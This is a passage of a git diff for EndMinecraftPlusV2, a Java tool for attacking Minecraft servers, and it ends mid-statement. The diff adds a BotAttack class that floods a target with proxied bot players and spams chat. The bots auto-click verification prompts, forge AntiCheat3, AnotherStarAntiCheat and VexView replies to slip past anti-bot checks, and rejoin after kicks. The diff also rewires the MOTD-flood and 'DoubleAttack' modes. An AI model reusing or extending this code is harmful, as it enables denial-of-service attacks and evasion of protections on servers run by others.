diff --git a/EndMinecraftPlusV2.iml b/EndMinecraftPlusV2.iml index 96b25d8..061c06f 100644 --- a/EndMinecraftPlusV2.iml +++ b/EndMinecraftPlusV2.iml @@ -10,5 +10,11 @@ + + + + + + \ No newline at end of file diff --git a/VersionSupport-758/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport758.java b/VersionSupport-758/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport758.java index 51f9e3b..545538d 100644 --- a/VersionSupport-758/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport758.java +++ b/VersionSupport-758/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport758.java @@ -10,6 +10,7 @@ import com.github.steveice10.packetlib.packet.Packet; import net.kyori.adventure.text.Component; import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer; +import java.io.File; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; @@ -18,7 +19,9 @@ import java.util.List; import java.util.Objects; public class VersionSupport758 { - public static List clickVerifiesHandle(ClientboundChatPacket packet, Session session, List ClickVerifiesDetect, Component Message) { + public static List clickVerifiesHandle(Packet packet, Session session, List ClickVerifiesDetect, Component Message) { + ClientboundChatPacket chatPacket = (ClientboundChatPacket) packet; + List result = new ArrayList<>(); boolean needClick = false; Component message; @@ -26,7 +29,7 @@ public class VersionSupport758 { if (Message != null) { message = Message; } else { - message = packet.getMessage(); + message = chatPacket.getMessage(); } String simpleMsg = PlainTextComponentSerializer.plainText().serialize(message); @@ -135,4 +138,14 @@ public class VersionSupport758 { session.send(packet); } catch (Exception ignored) {} } + + public static boolean checkServerChatPacket(Packet packet) { + try { + Class.forName("com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundChatPacket"); + } catch (ClassNotFoundException e) { + return false; + } + + return packet instanceof ClientboundChatPacket; + } } diff --git a/VersionSupport-759/VersionSupport-759.iml b/VersionSupport-759/VersionSupport-759.iml new file mode 100644 index 0000000..f26e6f0 --- /dev/null +++ b/VersionSupport-759/VersionSupport-759.iml @@ -0,0 +1,22 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/VersionSupport-759/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport759.java b/VersionSupport-759/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport759.java new file mode 100644 index 0000000..af51933 --- /dev/null +++ b/VersionSupport-759/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport759.java @@ -0,0 +1,72 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl; + +import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundSystemChatPacket; +import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundChatPacket; +import com.github.steveice10.packetlib.Session; +import com.github.steveice10.packetlib.packet.Packet; +import net.kyori.adventure.text.Component; +import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer; + +import java.time.Instant; +import java.util.ArrayList; +import java.util.List; +import java.util.Objects; + +public class VersionSupport759 { + public static List clickVerifiesHandle(Packet packet, Session session, List ClickVerifiesDetect, Component Message) { + ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) packet; + + List result = new ArrayList<>(); + boolean needClick = false; + Component message; + + if (Message != null) { + message = Message; + } else { + message = chatPacket.getContent(); + } + + String simpleMsg = PlainTextComponentSerializer.plainText().serialize(message); + + if (message.style().clickEvent() != null) { + for (String clickVerifiesDetect:ClickVerifiesDetect) { + if (simpleMsg.contains(clickVerifiesDetect)) { + needClick = true; + break; + } + } + } + + if (needClick) { + session.send(new ServerboundChatPacket(Objects.requireNonNull(message.style().clickEvent()).value(), Instant.now().toEpochMilli(), 0, new byte[0], false)); + result.add("1"); + result.add(simpleMsg); + result.add(Objects.requireNonNull(message.style().clickEvent()).value()); + return result; + } + + if (!message.children().isEmpty()) { + for (Component extraMessage:message.children()) { + clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage); + } + } + + result.add("0"); + result.add(simpleMsg); + return result; + } + + public static void sendChatPacket(Session session, String msg) { + session.send(new ServerboundChatPacket(msg, Instant.now().toEpochMilli(), 0L, new byte[0], false)); + } + + public static boolean checkServerChatPacket(Packet packet) { + try { + Class.forName("com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundSystemChatPacket"); + } catch (ClassNotFoundException e) { + return false; + } + + return packet instanceof ClientboundSystemChatPacket; + } +} diff --git a/VersionSupport-760/VersionSupport-760.iml b/VersionSupport-760/VersionSupport-760.iml new file mode 100644 index 0000000..e76837a --- /dev/null +++ b/VersionSupport-760/VersionSupport-760.iml @@ -0,0 +1,21 @@ + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/VersionSupport-760/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport760.java b/VersionSupport-760/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport760.java new file mode 100644 index 0000000..5ac2db3 --- /dev/null +++ b/VersionSupport-760/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport760.java @@ -0,0 +1,72 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl; + +import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundSystemChatPacket; +import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundChatPacket; +import com.github.steveice10.packetlib.Session; +import com.github.steveice10.packetlib.packet.Packet; +import net.kyori.adventure.text.Component; +import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer; + +import java.time.Instant; +import java.util.ArrayList; +import java.util.List; +import java.util.Objects; + +public class VersionSupport760 { + public static List clickVerifiesHandle(Packet packet, Session session, List ClickVerifiesDetect, Component Message) { + ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) packet; + + List result = new ArrayList<>(); + boolean needClick = false; + Component message; + + if (Message != null) { + message = Message; + } else { + message = chatPacket.getContent(); + } + + String simpleMsg = PlainTextComponentSerializer.plainText().serialize(message); + + if (message.style().clickEvent() != null) { + for (String clickVerifiesDetect:ClickVerifiesDetect) { + if (simpleMsg.contains(clickVerifiesDetect)) { + needClick = true; + break; + } + } + } + + if (needClick) { + session.send(new ServerboundChatPacket(Objects.requireNonNull(message.style().clickEvent()).value(), Instant.now().toEpochMilli(), 0, new byte[0], false, new ArrayList<>(), null)); + result.add("1"); + result.add(simpleMsg); + result.add(Objects.requireNonNull(message.style().clickEvent()).value()); + return result; + } + + if (!message.children().isEmpty()) { + for (Component extraMessage:message.children()) { + clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage); + } + } + + result.add("0"); + result.add(simpleMsg); + return result; + } + + public static void sendChatPacket(Session session, String msg) { + session.send(new ServerboundChatPacket(msg, Instant.now().toEpochMilli(), 0L, new byte[0], false, new ArrayList<>(), null)); + } + + public static boolean checkServerChatPacket(Packet packet) { + try { + Class.forName("com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundSystemChatPacket"); + } catch (ClassNotFoundException e) { + return false; + } + + return packet instanceof ClientboundSystemChatPacket; + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java b/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java index 7788437..3bfb185 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java @@ -1,14 +1,14 @@ package cn.serendipityr.EndMinecraftPlusV2; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs; import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil; import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil; import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs; public class EndMinecraftPlusV2 { - public static String ver = "1.1.1_Dev"; + public static String ver = "1.2.0"; public static void main(String[] args) { System.out.println("========================-Forked by SerendipityR-========================"); diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java index 8e77cbb..ad6a24c 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java @@ -2,7 +2,6 @@ package cn.serendipityr.EndMinecraftPlusV2.Tools; import cc.summermc.bukkitYaml.file.YamlConfiguration; import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2; - import javax.naming.directory.Attribute; import javax.naming.directory.InitialDirContext; import java.io.BufferedInputStream; diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java index 24e7bca..c298b51 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java @@ -2,7 +2,6 @@ package cn.serendipityr.EndMinecraftPlusV2.Tools; import java.io.BufferedReader; import java.io.InputStreamReader; -import java.net.Proxy; import java.net.URL; import java.net.URLConnection; diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java index 860d078..f1b6e35 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java @@ -1,7 +1,5 @@ package cn.serendipityr.EndMinecraftPlusV2.Tools; -import org.spacehq.packetlib.Session; - import java.io.*; import java.net.InetSocketAddress; import java.net.Proxy; @@ -119,14 +117,18 @@ public class ProxyUtil { switch (ConfigUtil.ProxyGetType) { case 1: getProxiesFromAPIs(true, true); + LogUtil.doLog(0, "代理更新完毕! (通过API获取 | 数量: " + proxies.size() + "个)", "ProxyUtil"); + break; + case 2: + getProxiesFromFile(true, true); + LogUtil.doLog(0, "代理更新完毕! (通过本地文件获取 | 数量: " + proxies.size() + "个)", "ProxyUtil"); break; case 3: getProxiesFromFile(true, true); getProxiesFromAPIs(true, false); + LogUtil.doLog(0, "代理更新完毕! (通过API+本地文件获取 | 数量: " + proxies.size() + "个)", "ProxyUtil"); break; } - - LogUtil.doLog(0, "代理更新完毕! (通过API获取 | 数量: " + proxies.size() + "个)", "ProxyUtil"); } }).start(); } diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/AttackManager.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/AttackManager.java index 239392d..e1d850c 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/AttackManager.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/AttackManager.java @@ -1,6 +1,6 @@ package cn.serendipityr.EndMinecraftPlusV2.VersionControl; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods.*; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.*; import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2; import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge; import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForgeMOTD; @@ -31,15 +31,17 @@ public class AttackManager { Map modList = new HashMap<>(); if (ProtocolLibs.highVersion) { - if (!cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.isAfterVersion1_13()) { - LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "BotAttack"); - modList = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.getProtocolVersion()); - LogUtil.doLog(0, "Mods: " + Arrays.toString(modList.keySet().toArray()), "BotAttack"); - } + LogUtil.doLog(0, "当前选定协议库版本不支持获取Forge Mods。", "BotAttack"); - cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.BotAttack botAttack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.BotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); - botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList); - botAttack.start(); + if (ProtocolLibs.adaptAfter754) { + cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.NewBotAttack botAttack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.NewBotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); + botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList); + botAttack.start(); + } else { + cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.BotAttack botAttack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.BotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); + botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList); + botAttack.start(); + } } else { if (!MCForge.isAfterVersion1_13()) { LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "BotAttack"); @@ -56,7 +58,7 @@ public class AttackManager { case 2: // MotdAttack if (ProtocolLibs.highVersion) { - cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.IAttack motdAttack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); + cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.IAttack motdAttack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); motdAttack.start(); } else { IAttack motdAttack = new MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); @@ -67,7 +69,7 @@ public class AttackManager { case 3: // MotdAttackP if (ProtocolLibs.highVersion) { - cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.IAttack motdAttackP = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); + cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.IAttack motdAttackP = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); motdAttackP.start(); } else { IAttack motdAttackP = new MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); @@ -80,13 +82,9 @@ public class AttackManager { Map doubleModList = new HashMap<>(); if (ProtocolLibs.highVersion) { - if (!cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.isAfterVersion1_13()) { - LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "DoubleAttack"); - doubleModList = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.getProtocolVersion()); - LogUtil.doLog(0, "Mods: " + Arrays.toString(doubleModList.keySet().toArray()), "DoubleAttack"); - } + LogUtil.doLog(0, "当前选定协议库版本不支持获取Forge Mods。", "DoubleAttack"); - cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.DoubleAttack attack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); + cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.DoubleAttack attack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList); attack.setUsername(ConfigUtil.DoubleExploitPlayer); attack.start(); diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java new file mode 100644 index 0000000..1531db7 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java @@ -0,0 +1,436 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.*; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AnotherStarAntiCheat; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.VersionSupport578; +import com.github.steveice10.mc.protocol.MinecraftProtocol; +import com.github.steveice10.mc.protocol.data.message.Message; +import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket; +import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; +import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.ServerChatPacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; +import com.github.steveice10.packetlib.Client; +import com.github.steveice10.packetlib.ProxyInfo; +import com.github.steveice10.packetlib.Session; +import com.github.steveice10.packetlib.event.session.*; +import com.github.steveice10.packetlib.packet.Packet; +import com.github.steveice10.packetlib.tcp.TcpSessionFactory; +import io.netty.util.internal.ConcurrentSet; + +import java.io.InputStream; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.Socket; +import java.util.*; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; + +public class BotAttack extends IAttack { + public static HashMap clientName = new HashMap<>(); + public static int failed = 0; + public static int joined = 0; + public static int rejoin = 0; + public static int clickVerifies = 0; + public static List alivePlayers = new ArrayList<>(); + protected boolean attack_motdbefore; + protected boolean attack_tab; + protected Map modList; + + private Thread mainThread; + private Thread tabThread; + private Thread taskThread; + + public Set clients = new ConcurrentSet<>(); + public ExecutorService pool = Executors.newCachedThreadPool(); + + private static final AntiCheat3 ac3 = new AntiCheat3(); + private static final AnotherStarAntiCheat asac = new AnotherStarAntiCheat(); + + private long starttime; + + public BotAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void setBotConfig(boolean motdbefore, boolean tab, Map modList) { + this.attack_motdbefore = motdbefore; + this.attack_tab = tab; + this.modList = modList; + } + + public String getRandMessage(String userName) { + return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName))); + } + + public void start() { + setTask(() -> { + while (true) { + for (Client c : clients) { + if (c.getSession().isConnected()) { + if (c.getSession().hasFlag("login")) { + if (ConfigUtil.ChatSpam) { + c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c)))); + } + + OtherUtils.doSleep(ConfigUtil.ChatDelay); + } else if (c.getSession().hasFlag("join")) { + if (ConfigUtil.RegisterAndLogin) { + for (String cmd:ConfigUtil.RegisterCommands) { + c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))))); + OtherUtils.doSleep(ConfigUtil.ChatDelay); + } + } + + c.getSession().setFlag("login", true); + } + } + } + OtherUtils.doSleep(5 * 1000); + } + }); + + this.starttime = System.currentTimeMillis(); + + mainThread = new Thread(() -> { + while (true) { + try { + cleanClients(); + createClients(ip, port); + OtherUtils.doSleep(10 * 1000); + + if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) { + for (Client c : clients) { + c.getSession().disconnect(""); + } + stop(); + return; + } + LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack"); + } catch (Exception e) { + LogUtil.doLog(1, "发生错误: " + e, null); + } + } + }); + + if (this.attack_tab) { + tabThread = new Thread(() -> { + while (true) { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); + + for (Client c : clients) { + if (c.getSession().isConnected() && c.getSession().hasFlag("join")) { + MultiVersionPacket.sendTabPacket(c.getSession(), "/"); + } + } + + OtherUtils.doSleep(10); + } + }); + } + + mainThread.start(); + if (tabThread != null) + tabThread.start(); + if (taskThread != null) + taskThread.start(); + } + + @SuppressWarnings("deprecation") + public void stop() { + mainThread.stop(); + if (tabThread != null) + tabThread.stop(); + if (taskThread != null) + taskThread.stop(); + } + + public void setTask(Runnable task) { + taskThread = new Thread(task); + } + + private void cleanClients() { + clients.removeIf(c -> !c.getSession().isConnected()); + } + + private void createClients(final String ip, int port) { + Proxy.Type proxyType; + switch (ConfigUtil.ProxyType) { + case 3: + case 2: + proxyType = Proxy.Type.SOCKS; + break; + case 1: + default: + proxyType = Proxy.Type.HTTP; + break; + } + + for (String p: ProxyUtil.proxies) { + try { + String[] _p = p.split(":"); + Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); + String[] User = AttackManager.getRandomUser().split("@"); + Client client = createClient(ip, port, User[0], proxy); + client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); + client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); + clientName.put(client, User[0]); + clients.add(client); + ProxyUtil.clientsProxy.put(client.getSession(), proxy); + + if (this.attack_motdbefore) { + pool.submit(() -> { + getMotd(proxy, ip, port); + client.getSession().connect(false); + }); + } else { + client.getSession().connect(false); + } + + if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect)) + return; + if (this.attack_joinsleep > 0) + OtherUtils.doSleep(attack_joinsleep); + } catch (Exception e) { + LogUtil.doLog(1, "发生错误: " + e, null); + } + } + } + + public Client createClient(final String ip, int port, final String username, Proxy proxy) { + Client client; + + if (ProtocolLibs.adaptAfter578) { + String proxyStr = String.valueOf(proxy.address()).replace("/", ""); + String[] proxyAddress = proxyStr.split(":"); + ProxyInfo.Type proxyType; + + switch (ConfigUtil.ProxyType) { + case 2: + proxyType = ProxyInfo.Type.SOCKS4; + break; + case 3: + proxyType = ProxyInfo.Type.SOCKS5; + break; + case 1: + default: + proxyType = ProxyInfo.Type.HTTP; + break; + } + + ProxyInfo proxyInfo = new ProxyInfo(proxyType, new InetSocketAddress(proxyAddress[0], Integer.parseInt(proxyAddress[1]))); + + + client = new Client(ip, port, new MinecraftProtocol(username), new VersionSupport578().createTcpSessionFactory(proxyInfo)); + } else { + client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy)); + } + + new MCForge(client.getSession(), this.modList).init(); + + client.getSession().addListener(new SessionListener() { + public void packetReceived(PacketReceivedEvent e) { + handlePacket(e.getSession(), e.getPacket(), username); + } + + public void packetReceived(Session session, Packet packet) { + handlePacket(session, packet, username); + } + + public void packetSending(PacketSendingEvent packetSendingEvent) { + + } + + public void packetSent(Session session, Packet packet) { + + } + + public void packetSent(PacketSentEvent packetSentEvent) { + + } + + public void packetError(PacketErrorEvent packetErrorEvent) { + + } + + public void connected(ConnectedEvent e) { + } + + public void disconnecting(DisconnectingEvent e) { + } + + public void disconnected(DisconnectedEvent e) { + String msg; + + if (e.getCause() == null) { + msg = e.getReason(); + LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack"); + + if (ConfigUtil.SaveWorkingProxy) { + ProxyUtil.saveWorkingProxy(proxy); + } + + for (String rejoinDetect:ConfigUtil.RejoinDetect) { + if (msg.contains(rejoinDetect)) { + for (int i = 0; i < ConfigUtil.RejoinCount; i++) { + Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); + rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + + rejoin++; + LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); + clientName.put(rejoinClient, username); + clients.add(rejoinClient); + rejoinClient.getSession().connect(false); + + OtherUtils.doSleep(ConfigUtil.RejoinDelay); + + if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) { + break; + } + } + } + } + } else if (ConfigUtil.ShowFails) { + //msg = e.getCause().getMessage(); + LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack"); + } + + failed++; + alivePlayers.remove(username); + + client.getSession().disconnect(""); + clients.remove(client); + } + }); + return client; + } + + public void getMotd(Proxy proxy, String ip, int port) { + try { + Socket socket = new Socket(proxy); + socket.connect(new InetSocketAddress(ip, port)); + if (socket.isConnected()) { + OutputStream out = socket.getOutputStream(); + InputStream in = socket.getInputStream(); + out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01}); + out.write(new byte[]{0x01, 0x00}); + out.flush(); + in.read(); + + try { + in.close(); + out.close(); + socket.close(); + } catch (Exception ignored) {} + + return; + } + socket.close(); + } catch (Exception ignored) {} + } + + protected void handlePacket(Session session, Packet recvPacket, String username) { + if (recvPacket instanceof ServerPluginMessagePacket) { + ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket; + switch (packet.getChannel()) { + case "AntiCheat3.4.3": + String code = ac3.uncompress(packet.getData()); + byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, + new String[]{"44f6bc86a41fa0555784c255e3174260"}); + session.send(new ClientPluginMessagePacket("AntiCheat3.4.3", checkData)); + break; + case "anotherstaranticheat": + String salt = asac.decodeSPacket(packet.getData()); + byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt); + session.send(new ClientPluginMessagePacket("anotherstaranticheat", data)); + break; + case "VexView": + if (new String(packet.getData()).equals("GET:Verification")) + session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes())); + break; + default: + } + } else if (recvPacket instanceof ServerJoinGamePacket) { + session.setFlag("join", true); + LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack"); + joined++; + + if (ConfigUtil.SaveWorkingProxy) { + ProxyUtil.saveWorkingProxy(ProxyUtil.clientsProxy.get(session)); + } + + if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + + MultiVersionPacket.sendClientSettingPacket(session, "zh_CN"); + MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1); + } else if (recvPacket instanceof ServerPlayerPositionRotationPacket) { + try { + ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; + MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw()); + session.send(new ClientPlayerMovementPacket(true)); + MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet); + } catch (Exception ignored) {} + + } else if (recvPacket instanceof ServerChatPacket) { + ServerChatPacket chatPacket = (ServerChatPacket) recvPacket; + + if (ProtocolLibs.adaptAfter578) { + if 